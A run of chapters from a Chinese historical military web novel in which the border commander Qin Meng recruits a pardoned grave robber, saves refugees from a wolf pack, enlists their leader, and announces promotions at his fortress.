“大人,您看,那座坟的棺材都快被他挖出来了!”王良说着,又狠狠一巴掌拍在那汉子后脑勺上,随即指向不远处的树林。
秦猛顺着王良指的方向走去,没走几步,就看见一座规模不小的坟头被挖开了大半,积雪混着泥土堆在一旁,里面黑色的棺材板都露了出来。
他走近看了眼墓碑上的名字,瞬间认了出来。
这是以前小南河堡李富户家的祖坟。当年戍堡遭了鞑子劫掠,李富户一家子侥幸活下来,就搬到了县城,这几年几乎没怎么回来过。
秦猛心里顿时升起一股恼怒,刚才不愿修缮父母坟茔,怕的就是招来这种麻烦。
他阴沉着脸走到那汉子身边,只见对方身材矮小瘦弱,被打得鼻青脸肿,却还一个劲儿地赔着笑脸求饶。
见秦猛走来,那汉子更是哭丧着脸,可怜兮兮地说:“将军饶命!将军,小人知道错了。
小人也是迫不得已啊,实在是为了混口饭吃,再不找点活路,就得冻饿死在这冬天里了!”
“姓名!”秦猛没理会他的哭诉,冷声问道。
“石、石地虎!”那汉子连忙回答,还想套近乎:“说不定您也姓石,俺们五百年前是一家呢……”
他话还没说完,王良就飞起一脚,踹了过去:“放你娘的屁!谁他妈跟你是一家?大人问什么,你这厮就答什么,哪来那么多废话?”
第210章 归途中的狼嚎
“再多嘴一句试试?”一旁的牛五人狠话不多,直接拔出腰刀,刀刃在雪光下闪着冷冽的寒光。
周围的军卒也都恶狠狠地盯着石地虎,眼神里满是凶气。
石地虎见状,吓得一哆嗦,连忙缩了缩脖子。
“不多说,小人不多嘴了!”
“年龄?”秦猛再次开口问道。
“二十三!”石地虎几乎是脱口而出。
秦猛闻言一愣,再次仔细打量起眼前的汉子:肤色黝黑,额头满是抬头纹,眼神贼眉鼠眼,怎么看都像是四十岁的人,哪儿像二十三的后生?
王良也回过神来,举拳又要打:“还敢狡辩?你这模样比我姑父年纪都大,说自己二十三,当老子们眼瞎不成?”
“大人!军爷!俺真的只有二十三,就是长得急了点!”
石地虎急忙大声解释:“俺其实不是幽州人,是从冀州逃难过来的!从小父母双亡,跟着村里人一路往北来开荒,吃了上顿没下顿……”
石地虎说着,声音渐渐带上哭腔,说起了自己的过往:小时候就没吃过饱饭,所以长不高。
为了能吃上口饱饭,偷鸡摸狗的事没少干,经常被人追着打,反倒练出了一副好腿力;后来走投无路,拜了个乞丐为师,学了些拳脚,扒窃,后来又做了盗墓的勾当,靠这个混日子。
“今年冬天来得晚,却比往年都冷,俺除了盗墓啥也不会,实在没办法,才来这片墓地碰碰运气。”
石地虎抹了把眼泪,接着说:“那些穷人的坟俺都不看,知道里面没啥东西,专门挑这种看着气派的富户祖坟下手,想着能捞点值钱的……”
听到这儿,跟过来的陈月娘、林婉儿她们终于恍然大悟,总算明白刚才秦猛为啥不愿修缮父母坟茔。原来是怕坟头太惹眼,招来这种盗墓贼。
石地虎说着,双目通红,声音哽咽不止:“大人,您看俺这小身板扛不动重物,干力气活也抢不过别人,不做这缺德勾当,是真的要冻饿死啊!”
“可再难,也不能挖人家祖坟啊!”王良虽然依旧瞪着眼,但语气明显缓和了不少。他本就是穷苦出身,最清楚吃不饱饭的日子有多难熬。
秦猛看着石地虎这副模样,心头的怒气早就散了大半,最终摆了摆手:“算了,放了他吧。”
其实他心里觉得,这石地虎身手灵活,又懂盗墓的门道,倒是适合编入暗部做事。
但转念一想,刚把人家打了一顿,这会儿开口招揽,反倒像是胁迫,便暂时压下了这个念头。
“对了。”秦猛换了个怀柔法子,接着吩咐道:“牛五,去取几天的干粮,再拿点银子给他。”
这话一出,不仅周围的军卒们脸上闪过一丝错愕。
就连石地虎自己,都呆愣在原地,不敢相信自己的耳朵。
秦猛盯着石地虎,语重心长地说:“这边陲之地的百姓,都是苦哈哈,自己吃饱饭就不错了。地下的人又能有什么值钱东西?
拿着这些钱,做点小买卖糊口,以后别再干这种挖人祖坟的勾当。”
说完,他又转向王良:“带人把前面被挖开的坟填好了,也算是尽了乡里乡亲的情分。”
“要是再让我们撞见你挖坟,结果……”牛五说着,取来一包馒头和一锭银子,塞进石地虎手里。
石地虎攥着手中沉甸甸的干粮袋子,又摸了摸冰冷的银子,心中感动非常,眼眶渐渐湿润。
他猛地一咬牙,上前几步,扑通一声跪在秦猛面前,哽咽着说:“大人!俺愿意投奔将军。
以后鞍前马后,任凭大人差遣,只求能混口饭吃。只要大人用得着小人,上刀山下火海,俺眉头都不皱一下!”
“起来吧。”秦猛脸上浮出一丝笑容,伸手把石地虎拽了起来:“既然你愿意投奔我,我这儿还真有个适合你的位置。你先吃点东西垫垫肚子,等回去之后,安顿好了,我再分派任务。”
“谢大人!”石地虎连忙又磕了个头,声音里满是感激。
牛五是个耿直的硬汉,看着狼吞虎咽吃馒头被噎得翻白眼的石地虎,凑近几步,提醒秦猛:“大人,这家伙偷鸡摸狗,入军寨又得不老实。”
秦猛笑着摆摆手:“他很聪明,也非常圆滑,这是他的优点。军寨铁律森严,他不会偷摸。
而且一个人的才能,从来都不分高低贵贱,关键是要摆在正确的位置上,才能派上用场啊!”
小半个时辰后,车队踏上归途。
风雪似乎比来时更紧了些,卷着碎雪扑打在人的脸上,寒意刺骨。队伍在风雪中策马而行。车轮碾过积雪,发出“嘎吱嘎吱”的声响。
走不过两三里地,路过一片幽深寂静的老林子时,异变陡生!
“嗷呜——”一阵阵凄厉瘆人的狼嚎声,猛地从林子深处传了出来,打破了雪原的寂静。
声音此起彼伏,由远及近,显然狼群在快速靠近。
“列阵!备战!”王良和牛五几乎是同时厉声大喝,声音沉稳有力,透着久经沙场的镇定。
命令一下,几十名亲兵反应极快,只听铿锵甲叶摩擦声,队伍迅速收缩,刀出鞘,弓上弦,以马车为核心,瞬间形成了一个攻杀阵。
所有军士目光锐利地盯向狼嚎传来的方向,杀气凛然。
马车里,原本还在低声说笑的陈月娘、林婉儿、秦小芸和王艳脸色都是微微一变,下意识地握紧了怀中或腰间的短刀,呼吸也急促了几分。
但女人们并未惊慌失措,更无人尖叫。在这北方边陲,遇到狼群几乎是家常便饭,包括林婉儿在内,往返军寨,郡城早已不是经历多次。
北方狼群泛滥,原因无他:地广人稀,村落稀疏,大片荒野林地、为狼提供了绝佳的栖息地。
更有草原上部落为了牧场征战不休,遗弃的尸骸牲畜,更是养肥了无数狼群,让它们膘肥体壮,胆大妄为,时常越界流窜,袭击人畜。
秦猛端坐于踏雪乌骓马上,侧耳倾听片刻,浓眉一挑,抬手示意:“不对劲!狼嚎声在移动,但方位不对……似乎不是冲我们来的。”
他敏锐地察觉到,狼群的主要注意力似乎被别的目标吸引了。“王良,派两个机灵的斥候,摸上前边坡顶看看情况,小心点,速去速回!”
“得令!”王良立刻点了两名身手敏捷的斥候,两人翻身下马,如狸猫般悄无声息地脱离本阵,借着枯木和雪堆掩护,向前方的高地潜去。
没过多久,一名斥候便飞奔回来,气喘吁吁地禀报:“大人,前方……前方约两三里地,有一支流民队伍被狼群围住了!看情形不妙。”
秦猛目光一凝:“流民?有多少人?狼群规模如何?”
“流民不少,估摸着有四百,狼群规模极大,大概过四十头,都是壮硕的北地雪狼!不过……”
斥候语气带着一丝惊奇,“那伙流民有点门道,没像寻常流民那样一冲就散,居然结成了阵型在抵抗!”
“哦!”秦猛来了兴趣,侧耳倾听片刻,脸色一变:“不好,似乎还有其他狼群聚集。这多半是草原狼群流窜过河了,这群流民有危险了。”
咱们是边军,有责任救援同胞。王良,带一队人随我救援。牛五,你留守本阵,护好女眷!”
“得令!”亲兵们迅速分作两队。
秦猛一夹马腹,踏雪乌骓如箭离弦,率先冲向狼嚎方向。王良率二十余骑紧随,马蹄踏起漫天雪沫。
第211章 狼群跟流民
风雪漫天,将天地搅得一片浑浊。
旷野上,一队长长的黑影在积雪中艰难挪动,
那是支从东边逃难而来的流民队伍。
人们衣衫褴褛,补丁摞着补丁,寒风卷着雪沫往衣领里钻,冻得人牙关打颤。
老人拄着木棍踉跄前行,孩童被裹在破棉絮中,小脸冻得通红;
青壮们或挑着半旧的行囊,或推着吱呀作响的独轮车,车轮在雪地里碾出深深的辙印,又很快被飘落的雪花覆盖,每一步都走得格外沉重。
队伍刚靠近老林子边缘。
“嗷呜——嗷呜——”一阵凄厉的狼嚎突然划破风雪。声音尖锐刺耳,此起彼伏,越来越近。
“是狼群!快跑啊!”有人失声惊呼。
队伍瞬间陷入混乱,妇人们死死抱住孩子,身体控制不住地发抖;几个胆小的流民转身就想跑。
预想中的队伍崩溃并未出现。一个黑塔似的壮汉从队伍前站定,肩宽背厚,竟似能挡半面风雪,
“都给我站住!”
他声若洪钟,硬生生压过了狼嚎与人群骚动:“雪地里,狼跑得比人快,越跑死得越快!”
“青壮都动起来,把独轮车、板车全推到外围,围成一个圈子!”
“爷们儿上前,手里有家伙的,不管是朴刀、柴刀、鱼叉,就算是扁担,锄头也给老子握紧了!”
“老弱妇孺全部退到圈子中间,蹲下别出声,谁要是乱闯,乱了咱自己的阵脚,休怪我不客气!”
这黑塔汉子名叫李明,本是北海世袭军户,厌恶军伍里的勾心斗角,早年装病脱了军籍。
他领着一伙兄弟在海边讨生活——白天撒网捕鱼,夜里就偷偷贩私盐、运禁货,日子过得虽不光彩,却也练就了一身搏杀的硬本事。
不久前北方鞑子南下劫掠,许多村坊,甚至集镇被摧毁,他当机立断,带着兄弟们鼓动附近村民北迁避祸,没成想,半路遇上狼群。
在这关键时刻,往日里在海上排兵布阵的狠劲瞬间被激发,自然而然成了队伍的主心骨。
流民们被李明的气势镇住,慌乱的情绪渐渐平复,纷纷行动起来。
几十辆独轮车、板车迅速在外围连成一圈,车轮抵着车轮,搭起一道简陋却能阻挡狼扑击的屏障。
百来个青壮汉子握紧手中五花八门的武器,有豁口的腰刀、磨得发亮的鱼叉、裹着铁皮的枣木棍,还有削尖了头的扁担,锄头等。
他们依托着外围车辆站成一个不算规整的圆阵,面朝外,将老弱妇孺牢牢护在最中心。
阵型刚布置妥当,林子里的狼嚎声骤然变得急促。
紧接着,四十多头体型壮硕的雪狼冲破林障,灰黑的皮毛上沾着雪屑,如同一股黑色的潮水般疾扑而来。
它们眼冒绿光,惨白的獠牙上挂着粘稠的涎水,喉咙里滚着低沉的咆哮,绕着圆阵打转。湿漉漉的鼻子不停嗅着,像是在寻找防御的破绽。
“都给老子稳住!谁也不许退!”李明站在阵前最显眼的位置,手中握着一柄鬼头大刀,虽然略显陈旧,刃口却在雪光下泛着冷冽的寒芒。
他身旁围着一群精悍汉子,都是跟他一起在海边摸爬滚打的弟兄,平日里撒网放排是行家,贩私盐时跟官差、海盗搏杀更是家常便饭。
个个水性过人,手上的功夫也都是生死里练出来的。这会儿他们虽穿着破旧冬衣,却眼神锐利,站位隐隐透着默契,与其他流民截然不同。
“看什么看?一群畜生而已!”李明弯腰抓起两把积雪,揉成雪球狠狠砸向最近的一头狼。
雪球砸在狼身上,虽没造成伤害,却像是点燃了导火索。
一头体型格外雄壮的头狼仰头发出一声震耳欲聋的长嚎。
随着这声号令,数头雪狼浑身炸毛,后腿猛蹬积雪,带着一股浓烈的腥风,直扑圆阵东侧。
——那里站着两个年轻的流民,手上只握着一根普通的扁担,是整个防御阵型的薄弱点。
“来得好!”李明暴喝一声,非但没有后退,反而猛地踏前一步。
他身形高大,动作却异常迅捷,一个箭步冲上前,手中的鬼头大刀顺着风雪的方向,划出一道凌厉的弧线,精准地迎向扑来的狼首!
“咔嚓!”
“噗嗤!”
骨裂声与血肉撕裂声同时响起。
凄厉的哀嚎中,那头壮硕的头狼被李明一刀劈飞了半个头颅,鲜血混着脑浆溅在雪地上。
狼尸重重摔落,抽搐两下便没了动静。
“李大哥威武。”
“杀,杀了这些畜生!”
流民们见他如此勇猛,士气大涨,高声呐喊。
而被激怒的狼群变得更加疯狂,更多的雪狼从不同方向同时扑了上来,圆阵瞬间承受住巨大的压力。
东侧的两个年轻流民被一头雪狼扑得连连后退,一人木棍被狼爪拍断,眼看就要丧命狼口。幸好被另一个青壮奋力挥舞锄头给打退了。
“三人一组,背靠背,互相照应!”李明再次大吼,指挥若定。
他身边的二十多个精悍汉子立刻执行,迅速组成小型战团。
一人主攻,两人协防,配合虽不及正规军娴熟,却透着一股在生死搏杀中练就的野路子默契。
只见一个汉子用削尖的木棍死死顶住一头狼的扑咬,旁边另一人立刻抢步上前,手中鱼叉狠狠捅进狼腹。
又有一头狼从侧面偷袭,却被另外一条汉子拦住,第三把砍柴刀劈中了脖子,呜咽着倒地。
李明更是勇不可当,他如同磐石般钉在最前线,鬼头大刀舞得呼呼生风,每一刀都势大力沉,或劈或砍,或拍或扫,几乎没有狼能近他身。
转眼间,又有四五头狼倒在他的刀下,雪地被染得一片血红。
这种搏杀短暂而激烈。
流民这边有几人受伤,万幸无人死亡。
反观狼群丢下十多具尸体后,攻势明显减弱,剩下的狼围着圆阵徘徊,不敢再轻易冲击。
此时,老林子另一侧的缓坡上,秦猛已经赶来。
他看着下方的搏杀,对亲兵道:“这领头汉子,临危不乱,指挥有方,是个难得的人才。”
话音刚落,林里又传来狼嚎,二十多头雪狼与先前的狼群汇合,在狼王的嚎叫下,那群狼绕到流民后方,形成合围之势,轮番冲击圆阵。
“还有援兵?”李明喘着粗气,大刀已被狼血染透,“快,推小车补后方缺口,弟兄们顶住!”
流民们虽面露惊恐,却动作不乱,依令结阵。几名精悍汉子手持鱼叉、柴刀,与李明形成犄角之势,堪堪挡住狼群又一波冲击。
但更多的雪狼如潮水般涌上。阵型左翼一名青年不慎被狼爪扯倒,眼看就要丧命狼口——
就在这千钧一发之际,一支利箭突然破空而来。
“咻”的一声,精准地贯穿了那头雪狼的左眼,发出一声短促的哀嚎,倒在青年身边挣扎不止。
“是官军!官军来了!”
流民中有人看清了远处的身影,爆发出劫后余生的欢呼。
只见雪尘弥漫处,一阵急促的马蹄声与呼喝声传来。
秦猛一马当先,手中长弓连珠发射,箭矢如流星般射出,每一支都精准命中一头狼的要害。
李明望着雪尘中那员黑甲将军,眼中满是震撼——他在海边见过地方官军,却从未见过如此迅猛的骑兵,更未见过箭术如此精准的将领。
快要冲进战场时,秦猛挂好强弓,摘下长枪,枪尖寒光闪烁,扑来的雪狼不是被一枪戳穿喉咙,就是被枪杆打飞出去,个个惨叫着倒地。
亲兵们训练有素,迅速分成两队,一队护住流民左翼,一队冲向后方,将围攻的狼群冲散。
混乱中,一头受伤的雪狼突然发狂,挣脱了亲兵的阻拦,疯了似的扑向圆阵中心的一个三岁孩童。
那孩子吓得哇哇大哭,妇人慌乱中竟忘了躲闪。
就在这时,一道黑影突然从旁边窜出,是个身材瘦小的汉子,单手抱住孩童,身体在雪地上一滑,同时抽出铁片刀,抹断狼的脖颈。
——竟是不知何时也跟上来的石地虎。他虽个子不高,跑得却比马还快,趁乱混入人群当中,恰好撞见这边有情况,果断把孩子救下。
“好样的!”策马冲锋的王良看得真切,忍不住高声称赞,低声嘟囔一句“之前不该打那么重”。
第212章 杀狼王,收海宁
“嗷呜——”狼嚎声阵阵。
狼群损失惨重却没有退去,依旧呲牙咧嘴地徘徊。
秦猛目光扫过战场,很快锁定了那头躲在狼群后方、体型最为雄壮的狼王——它正焦躁地踱步,不断发出嚎叫,试图重新组织狼群进攻。
“孽畜,给我死!”秦猛低喝一声,双腿夹紧马腹,手中长枪一抖,枪尖直指狼王。
乌骓嘶鸣一声,如离弦之箭般冲向狼群深处。沿途的雪狼试图阻拦,却被他一枪一个,要么被挑飞,要么被刺穿,根本无法靠近他分毫。
眨眼间,秦猛已冲到狼王面前。
那狼王反应极快,咆哮一声,猛地扑向马身,试图咬断马腿。踏雪乌骓通灵,猛地侧移。
秦猛也早有准备,腰身一拧,手中长枪顺着狼王扑来的方向刺出,枪尖精准地穿透了狼王的躯体。
“嗷——!”狼王发出一声绝望的长嚎,身体被铁锹硬生生挑离地面,鲜血顺着枪杆流淌而下。
秦猛抡动胳膊,手腕一甩,将狼王狠狠砸在雪地上,发出沉闷的声响。
与此同时,亲兵们纷纷掷出几个炮仗,炮仗落在雪地里,轰隆爆炸,雪花四溅,黑烟弥漫。
秦猛又命人用盾牌敲击兵刃。
“哐哐”的巨响在风雪中回荡。狼群本就因狼王被杀而慌乱,此刻再被爆炸声震慑,彻底溃散。
剩下的雪狼再也不敢恋战,夹着尾巴,发出呜呜的哀嚎,留下同伴的尸体,遁入林子里。
雪地里,大概有三十多头雪狼尸体。
战斗终于结束,流民们刚松了口气,却又瞬间紧张起来,警惕地看向这支装备精良的官军。
李明也握紧了刀柄,眼神里满是戒备。
——在这浑浊的世道,官军有时比狼群更可怕。
直到他看清对方甲胄上的边军制式,又见这支队伍阵型严整,没有丝毫杀良冒功的意图,这才长松了口气,随后又露出一个惭愧的笑。
这群官兵来救援,就足以说明一切!
他整理了一下旧袍袄,越众而出,拎着刀向秦猛走去。
亲兵队长王良因上次经历过刺杀事件,格外警惕,立刻策马,带着一队人马上前,摆开护卫阵型。
“你做什么?”王良瞪着眼睛问道。
“将军恕罪!”李明见这阵仗,赶忙把刀一丢,解释道:“诸位不要误会,我们都是逃难的百姓,绝无恶意!刚遭遇狼群,多谢军爷们救援。”
他指着雪地上横七竖八的雪狼尸尸,抱拳道:“多谢将军救命之恩!这些雪狼皮厚肉肥,若是剥皮取肉够吃许久,不如由将军分配?”
他身后一众流民汉子也眼带期待地看向狼尸。
乱世中,食物便是性命。
何况是这种更加难得的肉食。
秦猛却摇头,声音清晰坚定:“我们是听到狼嚎赶来救援的,不是来争猎物的。这些狼尸,我们只拿走三成,其余的,你们自行处理便是。”
“三成?”李明一怔:“这……将军,这如何使得?”
“如何使不得?”秦猛目光扫过面黄肌瘦的流民,语气沉凝,“边陲百姓皆如唇齿,理应互帮互助。
再说了,这群雪狼其实奈何不了你们,你们结阵自保、临危不乱的胆气,比狼尸更珍贵。这世道,能团结敢拼命的人,才是好男儿。”
一番话掷地有声,流民中许多老人妇女已悄悄抹泪。
秦猛之所以这样,是他并不在乎些许雪狼尸,另外就是想招揽这群人,稍加训练就是好兵。
他顿了顿,又道:“更何况,我铁血军寨要立的,是‘共御外敌’的信义,不是占便宜的名声。”
“什么?将军是铁血军寨的?”李明脸上浮现惊喜之色:“我等北迁,就是想前往投奔贵军寨。”
“哦?”秦猛脸上浮现诧异之色。
李明深吸一口气,突然单膝跪地:“将军高义!小人李明,近来听收海获的商队说,燕北郡铁血军寨不惧鞑子,收容流民,还分给田地。我们就一路风餐露宿,互相扶持着赶过来。”
“你们从哪儿来?”秦猛好奇地问道。
李明语气悲痛,但仍条理清晰:“回将军的话,我们是从海州逃难来的!今年冬天酷寒,界河都冻住了。东胡人经常越境烧杀抢掠。
东海那边的倭寇也坐船来偷袭,沿岸的村子十户有九户是空的。定海军溃败,官府……官府根本管不过来,我等全村北迁,就是为了去铁血军寨落户,只求将军能给条活路!”
秦猛看见流民中的老人、小孩和妇女在风雪中冻得瑟瑟发抖,许多人脸上还带着饥馑之色。
他当即下令道:“王良,把咱们带的干粮分些给这些百姓,先让他们垫垫肚子。再把备用的羊皮衣拿出来,给最体弱的人披上挡挡风寒。”
“多谢军爷!多谢将军!”流民们一听,感激涕零,纷纷跪在雪地里磕头,许多人都哽咽起来。
这点粮食和衣物在平时不算什么,在此刻却是雪中送炭。
李明眼眶泛红,抱拳高呼:“大人,我李明愿带领手下兄弟们,跟随将军,效犬马之劳。”
“好了,赶快起来,先把这里打扫干净,咱们回家。”秦猛看着这条黑凛凛大汉,下马将其搀扶。
随后,李明带队把雪狼尸体搬上车。两队人合并,先会合牛五等人,继续朝着军寨方向行进。
秦猛骑着马,特意与那领头的壮汉李明并排前行,近距离观察,更觉此人身材魁梧,步伐沉稳,虽面容憔悴,但眼神坚定而有神。
“李明兄弟,海州的情况,真的已经糟到这般地步了?”秦猛看似随意地问道,实则意在打探底细。
李明恭敬地回答,脸上满是忧色:“将军,情况比我说的还严重。海州官兵节节败退,倭寇乘船而来,烧杀抢掠,玷污妇女,无恶不作,比东胡人还要凶残狡诈,专挑沿海村落下手……”
“海宁村?是靠海的地方?”
李明如实相告,在这位气度不凡的将军面前,他不敢隐瞒。
“对,大人。村里的人平日半农半渔,也……也懂些煮海制盐的土法子,弄点粗盐补贴家用。”
秦猛心里一动。军寨规模日益扩大,除了每日人吃马嚼,还得要贩卖,盐的消耗量极大。
若能有一个稳定的粗盐来源,再用自己的方法提纯,距离又不远,无疑能省下大笔开销。
他看似随意地问道:“李明,若是我军寨需要大批这种粗盐,你们有办法稳定弄到吗?”
李明想都没想,立刻回答:“有!以前村里产的盐,大多是卖给海州盐场的贩子,只是……”
他顿了顿,诚恳地提醒道,“大人恕小人直言,这取海水直接煮出来的粗盐,杂质多,没有特质的卤水分离法,吃起来味道苦涩,吃久了容易浮肿无力,对身体不好,您可得慎重。”
“无妨,我们军寨自有处理的法子。”秦猛摆了摆手,目光再次扫过这群流民,眼神愈发明亮。
这些人熟悉水性,身体强健,性情彪悍而团结,正是将来组建水师的上好苗子。
他们还会制盐的手艺,可以充实、加强军寨的炼盐工坊。
说不定,通过他们,还能建立一条直通产盐地的秘密渠道。
这简直是雪中送炭!
然而,这份欣喜很快就被更大的忧虑所取代。
——东北方向的东胡联盟反复无常,日渐猖獗。东南沿海又起战乱,倭寇也来趁火打劫。
北方草原上,契丹、女真、狼戎等部亦是虎视眈眈。
朝廷估计焦头烂额,顾此失彼。
这万里江山,处处烽烟,风雨飘摇!
秦猛望向南方,脸色变得无比凝重。这乱世之中,留给铁血军寨壮大的时间恐怕不多了。
临近正午,队伍便看到了军寨巍峨的轮廓。李明等海宁村民们初见,无不是面露惊愕之色。
秦猛带队刚到寨门口,尚未来得及安排流民,在寨门口等待的你二狗飞奔过来,抱拳禀报。
“知寨大人,昨夜喝醉酒的几个队将,陆续醒了。目前各营将领已经齐聚官署,就等您了!”
第213章 一人得道,鸡犬升天。
“亲兵部将王善是否按时巡视军寨?”
“是的,今早王部将带队,按原定路线,巡视至燧堡。”
……
秦猛面色平静地听着李二狗的禀报,时而询问了解情况,随后让他自己去忙,便继续前行。
一直跟在秦猛身旁的黑塔壮汉李明,听到“知寨大人”这两个字,又联想到“铁血军寨”及知寨官秦猛,顿时如遭雷击,愣在了当场。
他猛地反应过来,瞪大了眼睛,不敢置信地看着秦猛,声音都因为激动而有些变调:“大人!您……您就是这军寨的知寨官,秦猛秦将军?”
秦猛勒住马,回头朝他爽朗一笑,语气中带着明显的招揽之意:“哈哈哈,不错,正是秦某。
李明兄弟,你和乡亲们先随文吏登记安顿下来。若是想投军,上阵杀鞑子,安顿好后,随时可来官署寻我,一个队将位置还是有的。”
说完,他对迎上来的文吏吩咐“好生招待流民”,便带着亲兵,快步向军寨内的官署行去。
流民队伍自有文吏上前,引导他们登记造册,引领他们先去洗澡,发放新棉衣,安排住处……
李明却还站在原地,望着秦猛远去的背影,又想着一路这位称呼自己为兄弟,半晌没动弹。
过了好一会儿,他才猛地抬手摸了摸后脑勺,心头激动,抑制不住地“嘿嘿嘿”傻笑起来。
引得周围许多路过军民纷纷侧目,或驻足指指点点,不知这高大的汉子为何突然如此高兴。
……
官署后院。
秦猛从马上跳下来,窜到到马车边,搀扶陈月娘下车。他见女人柳眉微蹙,柔声叮嘱道。
“月娘,咱们新婚不久,军医局又不忙。这几天,你哪也不许去,就在家里,好好休息。”
“小芸,看好你嫂子,别让她乱跑。还有每天饭食,要记得送,不要一耍起来,如同疯丫头。”
“知道了!噜噜噜……”秦小芸应声,还扮了个鬼脸。
陈月娘“嗯”了一声。看着自己男人如此体贴,心里跟吃了蜜般甜,温柔地给男人整理衣领。
“官人,你有事就去忙,我在家等你。”
“好……”秦猛又唠叨了几句,这才换上正式的将领常服,再穿上轻甲,精神抖擞地来到前衙官署。
正如他所料,因他婚事而多在军寨停留一日的张富贵、林军、庞仁三个外派将领并没有离去。
李山,刘铁柱等人都已在此等候。
昨天在宴席上喝酒热闹的时候,秦猛就告诉他们,让他们今早集结,有个好消息告诉众人。
见秦猛到来,众人纷纷起身见礼,脸上都带着笑意。
唯有张富贵因昨夜之事,眼神飘忽不敢直视。
秦猛大步走到主位前却未坐下,目光扫过众人,神色振奋。
“好,诸位兄弟都在!本将宣布一个好消息!”他取出怀中盖有幽州帅司大印的密信,朗声道。
“这是前天收到的赵将军急信,鉴于我铁血军寨与契丹鞑子交战,连战连捷,上峰特予以嘉奖擢升!”
堂下众将听了,瞬间挺直腰板,眼中满是期待。
秦猛故意先提军寨变动:“首先,陷阵营、卫戍营各增兵五百,铁血军寨从小寨升格为中寨!”
“什么?”
诸葛风、李恒等文吏瞠目结舌,随即满脸兴奋。
边寨等级决定驻扎兵力与文职设置。
中型军寨可增设六曹参军,远比小寨的主簿、书吏规制更全。
“擢升。”秦猛声音洪亮:“诸葛风为铁血军寨兵曹参军,兼原职行营主簿,随时调动辅兵营。”
“李恒担任军寨孔目,掌档案文牍,兼仓曹副使。”
“赵开明任官署幕僚,兼典签一职,收发公文。”
“韩勇为辅兵部将,兼甲曹参军。”
“吴二为甲曹副使,刘三为仓曹副使……”
韩勇、刘三虽在外未归,诸葛风等人却个个眉开眼笑。人人都得了差事,是军寨正是官吏。
赵开明刚投奔,便得重用,吴二更是从敌营归降,却仍获职位,此刻,两人心里激动不已。
——哪怕是芝麻绿豆大的官,也是朝廷认可的功名。只要军寨越发红火,职权也水涨船高。
“大人,咱们呢?”张富贵听着文职擢升或任命,心痒难耐,待文职名单念完便急声追问。
“急什么?”秦猛瞪了他一眼,翻开将领擢升表。
“擢升秦大壮、张富贵、李山、王铁山、刘铁柱、常勇为飞虎卫副将!”
“其中张富贵、王铁山、刘铁柱隶属陷阵营,秦大壮、李山、常勇隶属卫戍营!”
“擢升王善为飞虎卫副将,统领亲卫队,辅佐本将处理防务!”
“擢升王良、牛五、阮大、鲁真、林军、王勇、刘大牛、乌维、张大胆、陈石、赵虎、齐达、刘冲为部将,各统辖一部兵马!”
每念到一个名字,被点到的将领都难掩激动。
张富贵咧着大嘴,差点笑出声来。
李山、刘铁柱则是用力攥紧了拳头,胸膛起伏。
就连性情相对沉稳的秦大壮和常勇,眼中也闪烁着难以抑制的喜悦。
无他,他们以前从未想过将来有一天,会到如今这个高度。成为一营副将,正七品武职。
王善、王良、牛五、阮氏兄弟等人更是一脸荣耀。
尤其是山蛮族勇士乌维被破格提拔为部将,更是感激地看向秦猛,目光中充满了效死之意。
他在军寨呆了许久,多多少少了解外面的世界,也清楚一个部将是个官员,类似部落大头目。
整个官署内洋溢着欢欣鼓舞的气氛,众人互相道贺,士气高涨。
然而,在这片欢腾之中,有一人却显得有些落寞。
那便是已脱离边军体系、转任地方军队的庞仁。
他看着昔日同袍个个升迁,手握兵权,自己却似乎与这军功荣耀渐行渐远,脸上不禁流露出一丝黯然之色。
秦猛心细如发,早已注意到庞仁的神情变化。
他话锋一转,看向庞仁,语气肯定地说道:“庞哥,你急什么?用不了多久,你也会升职!”
“啊?”庞仁闻言一愣,抬头望向秦猛。
秦猛笑道:“你的功劳,赵将军和朝廷自然不会忘记。你虽转任地方,但协助军寨戍边、安抚流民、近来又斩杀叛国之贼,功不可没。
据赵将军信中所言,林郡守对你的擢升保举也已呈报朝廷,料想不日,便会有旨意下来。
依我看,你此次多半连跳几级,出任郡城巡检司巡检,官秩正七品!届时麾下可不止现在这三百号人,而是掌整个燕北郡治安捕盗之事。
麾下至少有千多名官兵丁壮,再来点夹生饭。能抵得上他们绑一块,权责更重。你还是咱军寨触及地方的独苗,正是你大展拳脚之时!”
“真的?”庞仁脸上露出惊喜。
“我什么时候骗过你?”秦猛投过去你放心的眼神。
庞仁听完,脸上的阴霾顿时一扫而空,取而代之的是惊喜和激动!
郡城巡检,那可是实权要职,品级也升了,手握兵权,在这边塞,那真正成了一方“人物”。
他连忙起身,对着秦猛深深一揖:“多谢大人提携!俺定当恪尽职守,做好该做的事儿。”
“好!”秦猛大手一挥,目光扫过全场精神焕发的众人,“升官发财,是咱们用血汗换来的!
但职位越高,责任越大!
望诸位戒骄戒躁,齐心协力,共保我北岸防区安宁,让草原上的鞑子不敢再越雷池半步!”
“谨遵将军号令,誓死效命!”众将轰然应诺,声震屋瓦。
……
第214章 定军制,立根基
官署里,炭火盆烧得噼啪响,驱散了边塞冬天的寒气。
秦猛端坐主位,目光如炬,扫过堂下济济一堂的将领与文吏。
他声音沉稳,首先对书记官李恒下达指令:“李恒,今天商量的升职事儿,你都详细记下来,不能出一点错。”
“写好公文,盖了官印后,贴到主寨大门、各个附寨的营房、训练场,连食堂门口都得贴上。”
“要让每个当兵的、每个寨子里的老百姓都看清楚——在我这铁血军寨,只要做好自己的事,就有奔头!”
李恒严肃地应了声“是”,马上坐到桌子前动笔写起来。
秦猛接着挥挥手,让那帮文吏先退下去处理日常琐事,厅里就剩诸葛风、秦大壮、张富贵等核心将领。
气氛一下子变得紧张起来。
接下来要聊的,是军寨长远立足的根本办法。
秦猛看了看大伙儿,开门见山说:“咱们军寨升成中型寨,就是个过渡,明年开春就升大寨子。”
诸葛风、秦大壮、张富贵这些将领脸上没什么表情,他们多少知道秦猛上报时多有藏拙。
只有赵开明和鲁真神色不太对,他俩是新来不久,并不知情,但见大伙沉默,也没多问。
秦猛接着说,声音沉了些:“今天得把咱们军寨基层军官升职、文官考核提拔的规矩定下来。”
“这不是临时的办法,是咱们立寨的根本,必须公平、清楚,让上下沟通顺畅,每个人都能发挥本事。千万别重武轻文,也别重文轻武。”
“打仗和管事儿,就像车的两个轮子、鸟的一对翅膀,两边得一起使劲,才能走得稳、走得远。”
随后,众人各抒己见,经过商议过后。军事上的事,由秦猛全权负责。他任命懂谋略的诸葛风当军师,熟悉边陲官场的赵开明当幕僚。
三个人牵头,组建军寨的“大脑”——军寨参谋部。
参谋部不光要在打仗时出主意,还得制定全军的训练规矩,盯着各营训练,甚至要在沙盘上模拟打仗,提前判断敌人的动向,制定战术。
